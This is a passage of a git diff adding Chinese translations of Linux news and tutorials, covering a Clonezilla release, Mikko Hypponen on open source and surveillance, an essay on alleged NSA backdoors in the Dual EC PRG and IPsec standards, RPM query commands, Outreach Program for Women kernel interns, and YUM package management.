2.2.0-13][1] 是这个发行版的最新开发版本,开发人员已经准备加快版本迭代。这个版本没有太大的变化,只是更新了一些包。 + +通告说:“基本的GNU/Linux操作系统已经升级,这次发行版基于Debian Sid库(2013-10-14)。DRBL包已经更新到2.5.12-drbl1,clonezilla更新到了3.7.15-drbl1。” + +开发者还集成了Samba 4.0.10,这不是最后的稳定发布版本,但它仍然是最新的。 + +请注意这是个开发版本,请不要安装在生产机上.这只用于测试目的. + +**下载 Clonezilla Live 2.2.0-13** + +- [Clonezilla LiveCD 2.1.2-53 (ISO) i486 Stable][2][iso] [120 MB] +- [Clonezilla LiveCD 2.1.2-53 (ISO) i686 PAE Stable][3][iso] [121 MB] +- [Clonezilla LiveCD 2.1.2-53 (ISO) amd64 Stable][4][iso] [123 MB] +- [Clonezilla LiveCD 2.2.0-13 (ISO) i486 Testing][5][iso] [134 MB] +- [Clonezilla LiveCD 2.2.0-13 (ISO) i686 PAE Testing][6][iso] [135 MB] +- [Clonezilla LiveCD 2.2.0-13 (ISO) amd64 Testing][7][iso] [138 MB] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Metal-Backup-and-Recovery-Is-Now-Possible-with-Debian-Based-Clonezilla-Live-2-2-0-13-391374.shtml + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Caroline](https://github.com/carolinewuyan) + +[1]:http://free.nchc.org.tw/clonezilla-live/testing/ChangeLog-Clonezilla-live.txt +[2]:http://downloads.sourceforge.net/clonezilla/clonezilla-live-2.1.2-53-i486.iso +[3]:http://downloads.sourceforge.net/clonezilla/clonezilla-live-2.1.2-53-i686-pae.iso +[4]:http://downloads.sourceforge.net/clonezilla/clonezilla-live-2.1.2-53-amd64.iso +[5]:http://sourceforge.net/projects/clonezilla/files/clonezilla_live_testing/2.2.0-8/clonezilla-live-2.2.0-13-i486.iso/download +[6]:http://sourceforge.net/projects/clonezilla/files/clonezilla_live_testing/2.2.0-8/clonezilla-live-2.2.0-13-i686-pae.iso/download +[7]:http://sourceforge.net/projects/clonezilla/files/clonezilla_live_testing/2.2.0-8/clonezilla-live-2.2.0-13-amd64.iso/download diff --git a/published/201311/Mikko Hypponen--Open Source Software Will Make the World More Secure.md b/published/201311/Mikko Hypponen--Open Source Software Will Make the World More Secure.md new file mode 100644 index 0000000000..80b8cea7a7 --- /dev/null +++ b/published/201311/Mikko Hypponen--Open Source Software Will Make the World More Secure.md @@ -0,0 +1,35 @@ +米科·哈普宁:开源软件将使世界更安全 +================================================================================ +安全专家米科·哈普宁(Mikko Hypponen)于上周在爱丁堡举行的[LinuxCon and CloudOpen Europe][1]会议上的主题演讲中说:“开源软件可以作为一个方法来打击全球监视无辜居民的行为。” + +![](http://www.linux.com/images/stories/41373/Mikko-Hypponen-3.jpg) + +*米科·哈普宁,芬兰F-Secure的首席研究员,在爱丁堡举行的LinuxCon and CloudOpen Europe 2013会议上讲话。* + +计算和全球网络增加的进步使得存储和传输数据变得便宜且简单。哈普宁说这创造了无比的连通性、进步和创新,但是同样使得大规模的数据被访问到就像NSA的棱镜项目揭示的那样,这事件随着前美国政府员工爱德华·斯诺登(Edward Snowden)泄漏的一系列顶级机密文件而公开。 + +哈普宁,芬兰F-Secure的首席研究员说:“前几年我们已经意识到数据是廉价的。我们永远不必再删除任何数据。这促成了很多伟大的事情,但同样也引发了大规模地毯式的监视。” + +哈普宁说:“这些监视会访问我们的个人数据,包括电话记录、地理位置、电子邮件和搜索引擎请求,有些可能是被授权的。” + +他说:“我相信一些监控是好的。如果有一项研究来找出校园枪击者或者毒枭或者恐怖组织成员等等,我们应该已经有技术手段这么做,但是我们首先必须持有怀疑。” + +哈普宁说:“但是收集通信和每个人的个人数据不仅是对隐私的侵犯,还是对民主的威胁。” + +他说:“即使你如今对政府的行为认可,但是我们不知道政府会在今后的20年怎么样。如果他们有你20年的搜索数据,他们会找出一些非法的或者令人尴尬的理由来扭曲你的手。” + +哈普宁说:“虽然泄漏事件使得一些IT专家质疑他们的数据存储的安全性和经由美国服务商的的路由,但绕开这些公司和服务不能解决问题。同样不能每个国家都花费和金钱来建造他们自己的替代品。” + +哈普宁说:“要跨越国际边际地工作,开发者应该团结起来建造一个安全和可靠的软件和服务来防止后门篡改和用户隐私。” + +他说:“我建议开源软件对这个问题提供一个解决方案。那么国家就不必独自做这件事。这将会变得安全、开放和免费。” + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/news/featured-blogs/200-libby-clark/745585-mikko-hypponen-open-source-software-will-make-the-world-more-secure + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://events.linuxfoundation.org/events/linuxcon-europe \ No newline at end of file diff --git a/published/201311/On Security Backdoors.md b/published/201311/On Security Backdoors.md new file mode 100644 index 0000000000..0621201dfe --- /dev/null +++ b/published/201311/On Security Backdoors.md @@ -0,0 +1,49 @@ +实例论证:NSA在安全标准中植入后门 +===================== + +前不久我[写到][1]NSA可能在安全标准中植入后门。今天,我们谈一谈NSA被指责在标准中植入后门的两个案例,然后通过它们来区分两种后门之间的不同。 + +###第一个案例 + +是关于NIST标准,[SP 800-90A][2],该标准详细说明了一种伪随机数生成器(PseudoRandom Generator 以下简称PRG)。一个RPG可以通过计算得到一小组不可预料的随机比特,并进而“延展”得到大量的随机比特数。在密码学中,PRG作为大多数密钥的源头,是必需的。因此,如果你能“破解”某些人的PRG,你就能预测其使用的密钥,进而击溃其整个加密算法。 + +NIST标准中提供了一些核心算法供PRG选择。其中一个算法使用了一种叫做椭圆曲线的数学结构,在这里我并不打算展开介绍这个数学概念。总之,这个算法使用了两个“公开参数”P和Q,它们均在标准中有指定的值,因此说它们是公开的。 + +密码学家相信,如果P和Q是随机的,PRG就是安全的。但是2006年,两个独立密码学家指出,通过某种方法选定P和Q后,它们之间就具有了某种特殊的关系。一个“局外人”可能并不知道这种特殊关系的存在,但是如果你知道了描述P和Q之间关系的“密钥”,就可以轻松击溃PRG的安全体系。 + +知道了这一点,会发现很多事实突然变得有趣起来。首先,NSA看起来十分执意要将这种算法写入标准,即使它的运行效率很低;其次,NSA在标准中指定了P和Q的建议取值范围;第三,NSA并未解释这些给定的取值范围是如何得出的。怎么样,是不是有点儿意思? + +不仅如此,现在已经可以通过一些已公开的步骤,得出新的随机的P和Q,也就是说,以上三种问题都可以得到解决,但是NSA并没有这么做。 + +值得注意的是,(也许是为了辟谣),前不久(9月10日),NIST[重新开放][3]了SP 800-90A的公开评论。 + +###第二个案例 + +是由John Gilmore提出的,他在IPSEC标准中发现了问题。IPSEC被视为安全技术的一块基石,能够为因特网中的个人IP数据包提供完整可靠的加密。一个成功广泛部署的IPSEC协议可以大大强化因特网安全,为多种网络通信提供加密保护。 + +John说,NSA及其代理部门始终在降低该标准的安全水平与执行效率,同时却不断提高其复杂程度和安全方面的实现难度。尽管John还没有掌握NSA植入后门的确凿证据,但是他发现,NSA的确在不断削弱该标准的效力,事实上,IPSEC已经没有人们想象中的那样安全可靠。 + +--- + +上述案例向我们展示了两种不同类型的后门。第一个关于PRG的案例中,我们怀疑NSA尝试建立一个只有它能使用的后门,因为只有它知道关联P和Q的密钥。第二个关于IPSEC的案例中,NSA不断削弱用户的安全防护能力,这样它就能更轻易地访问你的数据,但同时其他所有人都具有了这样的机会。 + +可以确定的是,一个私有后门很可能无法一直“私有”。如果真有这样一个magic密钥,能让NSA窥探所有人的秘密,那这把钥匙很可能会被滥用或泄露到外界。因此,NSA私有后门和公开后门之间的界限并不明显。 + +但是,看起来这两种后门之间还是引起了不同的政策辩论。前者使得NSA能秘密地轻易访问每个人的数据,后者则赋予了每个人这种访问权限,后者的影响力要更加严重。 + +同时,我们应该看到一个后门是如何创造出来的。在PRG的案例中,需要获得制定标准的专家们通过,NSA才能使其加密过程中那微小的缺陷“蒙混过关”。在IPSEC的案例中,则貌似需要在标准的整个制定过程中不断协调公关活动才有机会制造那小小的缺陷,在这个过程中,即使没有人发现某种模式,也应该能注意到某些单个步骤,(但是却没有)。 + +也许有人会怀疑,这些案例真的是NSA有意而为之,还是只是空穴来风。对此,我们并不敢保证。但是只要NSA一直拥有参与制定安全标准的许可权限,我们就有必要,对他们所参与制定的任何标准保持怀疑。 + +--- + +via: https://freedom-to-tinker.com/blog/felten/on-security-backdoors/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[Caroline](https://github.com/carolinewuyan) + + +[1]:https://freedom-to-tinker.com/blog/felten/nsa-apparently-undermining-standards-security-confidence/ +[2]:http://csrc.nist.gov/publications/drafts/800-90/draft_sp800_90a_rev1.pdf +[3]:http://www.nist.gov/director/cybersecuritystatement-091013.cfm diff --git a/published/201311/Options in Linux RPM Command to Query Packages.md b/published/201311/Options in Linux RPM Command to Query Packages.md new file mode 100644 index 0000000000..df428a8b94 --- /dev/null +++ b/published/201311/Options in Linux RPM Command to Query Packages.md @@ -0,0 +1,106 @@ +Linux 下用来查询安装包信息的RPM选项 +================================================================================ + +RPM是RedHat的包管理器,用来安装、卸载、升级和查询基于RedHat Linux的安装包。RHEL和基于它的系统使用rpm命令来完成这些功能。以下是一些例子来演示rpm的查询功能,和展示了用不同的方法来查询rpm数据库和还原配置文件。 + +我在示例命令中使用SSH包来做说明。 + +## 查询RPM数据库和包 ### + +###1、 在整个RPM数据库中查询,使用下面的命令 + + # rpm -qa + plymouth-0.8.3-27.el6.x86_64 + pciutils-libs-3.1.10-2.el6.i686 + netcf-libs-0.1.9-3.el6.x86_64 + .. + ... + .. + Output Truncated + +###2、 你可以通过grep命令来确定上面的例子中有哪些SSH包已经安装 + + # rpm -qa |grep ssh + libssh2-1.4.2-1.el6.x86_64 + openssh-askpass-5.3p1-84.1.el6.x86_64 + libssh2-1.4.2-1.el6.i686 + openssh-server-5.3p1-84.1.el6.x86_64 + openssh-clients-5.3p1-84.1.el6.x86_64 + openssh-5.3p1-84.1.el6.x86_64 + +输出显示了一些关于SSH的包,但是你仍需确定哪个包真正安装了SSH。为了更近一步,请看下面的示例。 + +###3、 检查已安装的SSH包 a) 通过sshd守护进程 b) 通过它的配置文件 + + # rpm -qf /etc/init.d/sshd + openssh-server-5.3p1-84.1.el6.x86_64 + # rpm -qf /etc/ssh/sshd_config + openssh-server-5.3p1-84.1.el6.x86_64 + +如你所见,ssh是通过openssh-server-5.3p1-84.1.el6.x86_64包安装的,你可以在守护进程或者配置文件中使用rpm -qf命令(查询ssh包所包含的任一文件来查询)。两者都会输出从那个软件包安装的。 + +###4、 现在你有了包名,你可能想要了解更多,并想要知道包中包含了哪些不同的文件。这种情况下,使用rpm -ql命令 + + # rpm -ql openssh-server-5.3p1-84.1.el6.x86_64 + /etc/pam.d/ssh-keycat + /etc/pam.d/sshd + /etc/rc.d/init.d/sshd + /etc/ssh/sshd_config + /etc/sysconfig/sshd + /usr/libexec/openssh/sftp-server + /usr/libexec/openssh/ssh-keycat + /usr/sbin/.sshd.hmac + /usr/sbin/sshd + /usr/share/doc/openssh-server-5.3p1 + /usr/share/doc/openssh-server-5.3p1/HOWTO.ssh-keycat + /usr/share/man/man5/moduli.5.gz + /usr/share/man/man5/sshd_config.5.gz + /usr/share/man/man8/sftp-server.8.gz + /usr/share/man/man8/sshd.8.gz + /var/empty/sshd + +上面的输出显示了所有该包在系统中安装的文件。现在让我们更进一步,我们只想要看到该包提供的配置文件和文档。 + +###5、 只列出其中的配置文件,使用rpm -qc命令 + + # rpm -qc openssh-server-5.3p1-84.1.el6.x86_64 + /etc/pam.d/ssh-keycat + /etc/pam.d/sshd + /etc/ssh/sshd_config + /etc/sysconfig/sshd + +###6、 只列出其中的帮助文档,使用rpm -qd命令 + + # rpm -qd openssh-server-5.3p1-84.1.el6.x86_64 + /usr/share/doc/openssh-server-5.3p1/HOWTO.ssh-keycat + /usr/share/man/man5/moduli.5.gz + /usr/share/man/man5/sshd_config.5.gz + /usr/share/man/man8/sftp-server.8.gz + /usr/share/man/man8/sshd.8.gz + +考虑一种情况,你想要配置一个服务,但是你不知道哪里找到配置文件。举例来说,如上面的例子:使用**rpm -qf rpm -qf /etc/init.d/sshd**来找出 **/etc/ssh/sshd_config**这个文件源于哪个包。这应该会给你显示**openssh-server-5.3p1-84.1.el6.x86_64**包。使用**rpm -ql openssh-server-5.3p1-84.1.el6.x86_64**来显示包中所含的所有文件。如你所见,许多文件名显示了出来,但是输出并不很有用。 + +现在使用**rpm -qc openssh-server-5.3p1-84.1.el6.x86_64** 来只显示这个包的配置文件。这只会显示4个文件并给出了[/etc/ssh/sshd_config file][1]的绝对路径,可以用来开始配置服务。 + +###7、 从PRM包还原配置文件,而不重新安装包。 + +如果由于一些原因文件损坏或者从系统中删除了,你可以以**rpm -qf**开头来找出文件存在于哪个包。接下来使用**rpm2cpio | cpio -idmv**来从包中解压出文件。用ssh的例子。 + +假设**/etc/ssh/sshd_config**文件已经删除并且你不希望重装ssh,按以下步骤来还原文件。 + + * 使用rpm -qf /etc/init.d/sshd 这个命令会显示文件来自于openssh-server-5.3p1-84.1.el6.x86_64包。 + * 从它的源中下载Openssh的rpm包。 + * 复制openssh-server-5.3p1-84.1.el6.x86_64包到/tmp目录或者其他任何你选择的目录。 + * 使用rpm2cpio |cpio -idmv解压包。 + +上面步骤中你使用的命令会在/tmp下面创建一个子目录。你现在可以复制到它的原始目录。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/rpm-command-query/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linoxide.com/how-tos/disable-ssh-direct-login/ diff --git a/published/201311/Outreach Program for Women Seeks New Linux Kernel Interns.md b/published/201311/Outreach Program for Women Seeks New Linux Kernel Interns.md new file mode 100644 index 0000000000..036f3db0d2 --- /dev/null +++ b/published/201311/Outreach Program for Women Seeks New Linux Kernel Interns.md @@ -0,0 +1,106 @@ +Linux编程女神计划招募新的内核级MM实习生 +===== + +作为[FOSS的Linux编程女神计划(Outreach Program for Women)][1]的一部分,这个夏季在Linux基金会工作的实习生们背景不同,水平也高低不等,但是她们至少有一件事情是相同的(除去性别之外),就是她们可以在自己的履历中添加一项“Linux内核黑客”。(译注:Outreach Program for Women,OPW此处译作“Linux编程女神计划”带有调侃意味,Just joke,没有恶意。) + +![](http://www.linux.com/images/stories/41373/OPW-kernel-contributions-9.jpg) + +*针对女性的招募项目在对Linux内核3.12的贡献已经名列前茅。来源:LWN.net* + +在Linux基金会资助的第一批每人5000美元酬金的申请人中,Lisa Nguyen, Xenia Ragiadakou, Elena Ufimtseva, Laura Vasilescu 和Tulin Izer是41申请者中的7名女性女性获得者。她们与Intel、Oracle和Citrix的内核开发者一起全职工作了三个月,处理包括x86启动进程和XNUMA拓扑等项目。她们还利用500美元的旅行奖学金,出席了在新奥尔良或者爱丁堡举行的LinuxCon会议并做了演讲。 + +“我要说能有我这样的机会并不多哦,在LinuxCon北美会议上做志愿者,在LinuxCon北美会议上发表演讲,而且与Linux Torvalds交流了三天!”Nguyen说,她是一个Linux内核实习生,与Orcale的Konrad Rzeszutek Wilk一起解决Xen block 驱动问题。 + +除了学习如何创建和提交内核补丁,这些实习生们通过结交新朋友和同事,克服了她们的恐惧心理,为Linux内核的发展作出了显著的贡献。 + +“我不再害怕碰内核代码了”Izer这样说道,她和来自Intel的Peter P. Waskiewicz Jr.一起工作,解决x86的启动进程并行化问题。“这是我第一次对开源项目作出贡献,我以此为自豪。我将接着做下去”。 + +###内核贡献着排行榜 + +据[LWN 8月内核报告][2],作为一个组织,OPW被列为对Linux3.11内核的主要贡献者之一,提交了230个变更,总体位于第13位。其中,实习生Xenia Ragiadakou给3.11内核贡献了100个补丁,在最活跃的开发者中位列前10! + +“我的主要工作就是添加追踪事件,然后写trace-cmd插件,以便于人们阅读的格式分析这些痕迹,以方便xhci(驱动)找出问题。” ”Ragiadakou说,她和Intel的内核开发者Sarah Sharp一起做这项工作。“我学习了如何使用git,如何使用静态代码分析工具,以及如何发送补丁,如何查看debug日志,usb子系统是如何组成的,xhci驱动又是如何实现的。” + +据[LWN 10月分析报告][3],在内核3.12上,OPW再次排在了贡献最大的团队或公司之中,这次是排行第11行,有19,649行代码的改动。那代表了在过去最新的一次开发周期中接近2.7%的改动量。 + +在她们的实习计划在9月份结束时,她们中的大多数仍然持续做该项目并打算继续做下去。 + +“我认为成为一个内核开发者是一件非常酷的事情,将来,我也要继续做这件事情,”Vasilescu说,她和Intel的Carolyn Wyborny以及 Anjali Singha一起解决igb驱动的ethtool属性。 + +“我甚至需要学习如何才能停下来。有时候,好吧,是常常,我无法停下来,”Ufimtseva说,她和Citrix的Stefano Stabellini、Dario Fargiolli、George Dunlap一起工作,以解决针对与工作在xen上的并行虚拟机的vNUMA拓扑问题。“我一直努力,最终我贡献的补丁被提交到了高质量代码库里,这真的是很鼓舞人心哇!” + +下一轮Linux内核实习生的截止日期是11月。申请者应有c或c++和布尔代数的基本知识,对Linux/Unix操作系统有一定的经验,了解Git更好,不过不是硬性要求。想了解有关项目以及如何申请的更详细信息,可浏览[ Kernel Newbies上的OPW 页面][4]。 + +###Lisa Nguyen + +![](http://www.linux.com/images/stories/41373/lisa-nguyen-kernel-intern-2.jpg) + +**Lisa Nguyen和Oracle的Konrad Rzeszutek一起解决Xen的时钟驱动问题** + +在我成为OPW实习生之前,我已经获得了多个大学学位,如计算机科学,数字分析和信息安全等。我在过去的两年中持续地使用Linux,我还在Linux社区中充当多种角色,例如项目管理着,man页的作者,LinuxCon会议的协调着以及内核贡献着。 + +**你为什么申请同OPW一起为Linux内核工作** + +我想要一个挑战,想要跳离自己的小窝。我要给自己一个软件开发的机会,因为过去我一直面临自信心问题。一天,我决定要寻求一个有关Linux的职业来而不是数字分析工作。当我看到OPW项目出现在Linux基金会在Google+上的博文时,我觉得这是一个再合适不过的机会咯,于是,我想“我为什么不去尝试一下呢?” + +###Elena Ufimtseva + +![](http://www.linux.com/images/stories/41373/elena-ufimtseva-kernel-intern.jpg) + +**Elena Ufimtseva与来自Citrix的Stefano Stabellini, Dario Fargiolli, George Dunlap的一起去解决xen虚拟机中的并行虚拟客户端的vNUMAde的拓扑问题** + +我作为一名Linux系统管理员已经有想当长的一段时间了,而且成为了许多项目的一分子。我从俄罗斯联邦的St.-Petersburg大学获得了我的计算机科学硕士学位。 + +**你为什么申请同OPW一起为Linux内核工作** + +我觉得我想在底层开发软件,例如系统软件,而不是用java。我有一种感觉,我能应对复杂的问题并解决他们。我经常阅读最新的Linux新闻,我觉得最吸引我注意的是Greg在一年前在Google做的“关于Linux内核开发者社区以及补丁递交程序”等的报告。我觉得“哇,这好好玩哇!” + +### Laura Vasilescu ### + +![](http://www.linux.com/images/stories/41373/laura-vasilescu-kernel-intern-2.jpg) + +**Laura Vasilescu 和 Carolyn Wyborny以及Anjali Singhai共同去解决igb驱动的ethtool属性。** + +我认为自己就是一个极客,我对改善教育系统(尤其是罗马尼亚的)有着非常浓厚的兴趣。作为一名学生,我志愿做我所在大学的教师助理,还是罗马尼亚开源教育协会的成员。我的技术专长是网络,操作系统和底层编程语言。 + +**你为什么申请同OPW一起为Linux内核工作** + +我觉得成为一名内核贡献着是一件非常酷的事情,我要做一下这样的事情。 + +### Tulin Izer ### + +![](http://www.linux.com/images/stories/41373/Tulin-Izer-kernel-intern-2.jpg) + +**Tulin Izer和来自Intel的Peter Waskiewicz一起去解决x86系统的启动进成并行化问题。** + +我来自于土耳其。我是一名来自于伊斯坦布尔的Galatasaray大学的计算机工程专业的学生。今年我大四。 + +**为什么你申请同OPW一起为Linux内核工作** + +我对操作系统以及使用C语言进行编程非常感兴趣,但是我对内核开发没有任何经验,但是我觉的这是一个起步的好地方。 + +### Xenia Ragiadakou ### + +目前,我在克利特大学学习计算机科学。过去,我已经修完了几门课程,如经济学,东欧研究史等。我决定另换一个领域的原因是我感到厌烦了。我不知道这个想法是否明智。但是我意识到我需要的是更加具有创造性、富有变化以及非常实用的东西。所以,我决定进入计算机科学学院学习。现在,我的内心重新回复平静:我觉得编程是一件更加适合我的事情。这就像玩游戏一样,我非常喜欢编程的乐趣。 + +**为什么你申请同OPW一起为Linux内核工作** + +想加入开源项目的想法已经在我的脑海中存在很久了,但我一直认为我还没有足够的能力加入开源项目中去。这次有三个因素促使我去申请。1)OPW针对女性这一目标是我感到更加舒坦。2)有Linux核心方面的项目。3)被引入Linux内核的开发过程非常平顺,会在应用开发的早期加入进去。 + +作者:[Libby Clark][5] + +![img](http://www.linux.com/component/ninjaboard/avatar/41373/catid/200-libby-clark/thumbnail/large/cache/1331753338) + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/news/featured-blogs/200-libby-clark/746687-outreach-program-for-women-seeks-new-linux-kernel-interns/ + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[jasmiepeng](https://github.com/jasminepeng),[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://wiki.gnome.org/OutreachProgramForWomen +[2]:http://lwn.net/Articles/563977/ +[3]:http://lwn.net/Articles/570483/ +[4]:http://kernelnewbies.org/OPWIntro +[5]:http://www.linux.com/community/forums/person/41373/catid/200-libby-clark \ No newline at end of file diff --git a/published/201311/Package Management Using YUM In Red Hat Linux.md b/published/201311/Package Management Using YUM In Red Hat Linux.md new file mode 100644 index 0000000000..f887f385e5 --- /dev/null +++ b/published/201311/Package Management Using YUM In Red Hat Linux.md @@ -0,0 +1,446 @@ +在红帽Linux中使用YUM包管理器 +=== +![](http://linoxide.com/wp-content/uploads/2013/11/yum-package-install.png) + +**YUM**是RHEL系统中提供的一个安装,卸载和搜索软件包的工具。它能做的不仅仅是安装、卸载软件包,它能做的还有更多,下面我们将在本文中为你展示。 + +YUM可以自动安装软件包的依赖包,例如当你使用yum安装httpd时,它还会自动安装https apache server以及它依赖的软件包。通过rpm软件包安装时就没有这么方便咯(译注:就是不会自动处理软件包依赖问题咯!),你必须下载所有它依赖的软件包,然后依序安装它们。 + +yum工具从远端服务器上的软件仓库(通常由OS提供商提供)获取软件包的信息。一个软件仓库是能在特定架构上运行的一系列rpm软件包的集合。例如,对于32位和64位系统各有一个软件仓库,还有针对RHEL5以及RHEL6的软件仓库。你也可以建立一个本地仓库,配置你的yum让其从你的本地仓库里搜索安装软件包。在接下来的例子中,我将向你展示除了安装和卸载软件,yum还可以做的其它事情。为方便理解,我将在我的Amazon EC2 RHEL 6.4服务器上使用httpd软件包为例。 + +###从软件仓库里搜索软件包 + # yum search httpd + + Loaded plugins: amazon-id, rhui-lb, security + =============================================== N/S Matched: httpd ========== + httpd.x86_64 : Apache HTTP Server + httpd-devel.i686 : Development interfaces for the Apache HTTP server + httpd-devel.x86_64 : Development interfaces for the Apache HTTP server + httpd-manual.noarch : Documentation for the Apache HTTP server + httpd-tools.x86_64 : Tools for use with the Apache HTTP Server + mod_dav_svn.x86_64 : Apache httpd module for Subversion server + mod_dnssd.x86_64 : An Apache HTTPD module which adds Zeroconf support + +想获得详细的输出信息,可以使用下面的命令: + + # yum provides httpd + + Loaded plugins: amazon-id, rhui-lb, security + httpd-2.2.15-26.el6.x86_64 : Apache HTTP Server + Repo : rhui-REGION-rhel-server-releases + Matched from: + +**yum provides httpd**在软件仓库里搜索含有httpd的软件包。 + +###提供所有软件组列表 + + # yum grouplist + +以上命令将为你显示已经安装的以及可用的软件组。你可以使用软件组安装选项来安装其中一个软件组。例如,我们将安装一个PHP Support的软件组。这个软件组内包含需要的PHP软件包。 + + # yum groupinstall PHP Support + + Loaded plugins: amazon-id, downloadonly, rhui-lb, security + Setting up Group Process + Warning: Group Support does not exist. + Resolving Dependencies + -> Running transaction check + --> Package php.x86_64 0:5.3.3-23.el6_4 will be installed + -> Processing Dependency: php-common(x86-64) = 5.3.3-23.el6_4 for package: php-5.3.3-23.el6_4.x86_64 + -> Processing Dependency: php-cli(x86-64) = 5.3.3-23.el6_4 for package: php-5.3.3-23.el6_4.x86_64 + --> Package php-gd.x86_64 0:5.3.3-23.el6_4 will be installed + -> Processing Dependency: libXpm.so.4()(64bit) for package: php-gd-5.3.3-23.el6_4.x86_64 + --> Package php-pdo.x86_64 0:5.3.3-23.el6_4 will be installed + --> Package php-pear.noarch 1:1.9.4-4.el6 will be installed + --> Package php-xml.x86_64 0:5.3.3-23.el6_4 will be installed + -> Running transaction check + --> Package libXpm.x86_64 0:3.5.10-2.el6 will be installed + --> Package php-cli.x86_64 0:5.3.3-23.el6_4 will be installed + --> Package php-common.x86_64 0:5.3.3-23.el6_4 will be installed + -> Finished Dependency Resolution + + Dependencies Resolved + + ===================================================================== + Package Arch Version Repository Size + ===================================================================== + Installing: + php x86_64 5.3.3-23.el6_4 rhui-REGION-rhel-server-releases 1.1 M + php-gd x86_64 5.3.3-23.el6_4 rhui-REGION-rhel-server-releases 106 k + php-pdo x86_64 5.3.3-23.el6_4 rhui-REGION-rhel-server-releases 75 k + php-pear noarch 1:1.9.4-4.el6 rhui-REGION-rhel-server-releases 393 k + php-xml x86_64 5.3.3-23.el6_4 rhui-REGION-rhel-server-releases 103 k + Installing for dependencies: + libXpm x86_64 3.5.10-2.el6 rhui-REGION-rhel-server-releases 51 k + php-cli x86_64 5.3.3-23.el6_4 rhui-REGION-rhel-server-releases 2.2 M + php-common x86_64 5.3.3-23.el6_4 rhui-REGION-rhel-server-releases 524 k + + Transaction Summary + ======================================================================== + Install 8 Package(s) + + Total download size: 4.5 M + Installed size: 16 M + Is this ok [y/N]: y + + Downloading Packages: + (1/8): libXpm-3.5.10-2.el6.x86_64.rpm | 51 kB 00:00 + (2/8): php-5.3.3-23.el6_4.x86_64.rpm | 1.1 MB 00:00 + (3/8): php-cli-5.3.3-23.el6_4.x86_64.rpm | 2.2 MB 00:00 + (4/8): php-common-5.3.3-23.el6_4.x86_64.rpm | 524 kB 00:00 + (5/8): php-gd-5.3.3-23.el6_4.x86_64.rpm | 106 kB 00:00 + (6/8): php-pdo-5.3.3-23.el6_4.x86_64.rpm | 75 kB 00:00 + (7/8): php-pear-1.9.4-4.el6.noarch.rpm | 393 kB 00:00 + (8/8): php-xml-5.3.3-23.el6_4.x86_64.rpm | 103 kB 00:00 + ----------------------------------------------- + Total 2.9 MB/s | 4.5 MB 00:01 + Running rpm_check_debug + Running Transaction Test + Transaction Test Succeeded + Running Transaction + Installing : php-common-5.3.3-23.el6_4.x86_64 1/8 + Installing : php-cli-5.3.3-23.el6_4.x86_64 2/8 + Installing : libXpm-3.5.10-2.el6.x86_64 3/8 + Installing : php-gd-5.3.3-23.el6_4.x86_64 4/8 + Installing : 1:php-pear-1.9.4-4.el6.noarch 5/8 + Installing : php-5.3.3-23.el6_4.x86_64 6/8 + Installing : php-xml-5.3.3-23.el6_4.x86_64 7/8 + Installing : php-pdo-5.3.3-23.el6_4.x86_64 8/8 + Verifying : 1:php-pear-1.9.4-4.el6.noarch 1/8 + Verifying : php-xml-5.3.3-23.el6_4.x86_64 2/8 + Verifying : php-common-5.3.3-23.el6_4.x86_64 3/8 + Verifying : libXpm-3.5.10-2.el6.x86_64 4/8 + Verifying : php-cli-5.3.3-23.el6_4.x86_64 5/8 + Verifying : php-5.3.3-23.el6_4.x86_64 6/8 + Verifying : php-pdo-5.3.3-23.el6_4.x86_64 7/8 + Verifying : php-gd-5.3.3-23.el6_4.x86_64 8/8 + + Installed: + php.x86_64 0:5.3.3-23.el6_4 php-gd.x86_64 0:5.3.3-23.el6_4 php-pdo.x86_64 0:5.3.3-23.el6_4 + php-pear.noarch 1:1.9.4-4.el6 php-xml.x86_64 0:5.3.3-23.el6_4 + + Dependency Installed: + libXpm.x86_64 0:3.5.10-2.el6 php-cli.x86_64 0:5.3.3-23.el6_4 php-common.x86_64 0:5.3.3-23.el6_4 + + Complete! + +###使用YUM安装软件包 + +可以使用**yum install**命令安装软件包,如下所示: + + # yum install httpd + + Loaded plugins: amazon-id, rhui-lb, security + Setting up Install Process + Resolving Dependencies + -> Running transaction check + --> Package httpd.x86_64 0:2.2.15-29.el6_4 will be installed + -> Processing Dependency: httpd-tools = 2.2.15-29.el6_4 for package: httpd-2.2.15-29.el6_4.x86_64 + -> Processing Dependency: apr-util-ldap for package: httpd-2.2.15-29.el6_4.x86_64 + -> Processing Dependency: libaprutil-1.so.0()(64bit) for package: httpd-2.2.15-29.el6_4.x86_64 + -> Processing Dependency: libapr-1.so.0()(64bit) for package: httpd-2.2.15-29.el6_4.x86_64 + -> Running transaction check + --> Package apr.x86_64 0:1.3.9-5.el6_2 will be installed + --> Package apr-util.x86_64 0:1.3.9-3.el6_0.1 will be installed + --> Package apr-util-ldap.x86_64 0:1.3.9-3.el6_0.1 will be installed + --> Package httpd-tools.x86_64 0:2.2.15-29.el6_4 will be installed + -> Finished Dependency Resolution + + Dependencies Resolved + + ============================================================================= + Package Arch Version Repository Size + ============================================================================= + Installing: + httpd x86_64 2.2.15-29.el6_4 rhui-REGION-rhel-server-releases 821 k + Installing for dependencies: + apr x86_64 1.3.9-5.el6_2 rhui-REGION-rhel-server-releases 123 k + apr-util x86_64 1.3.9-3.el6_0.1 rhui-REGION-rhel-server-releases 87 k + apr-util-ldap x86_64 1.3.9-3.el6_0.1 rhui-REGION-rhel-server-releases 15 k + 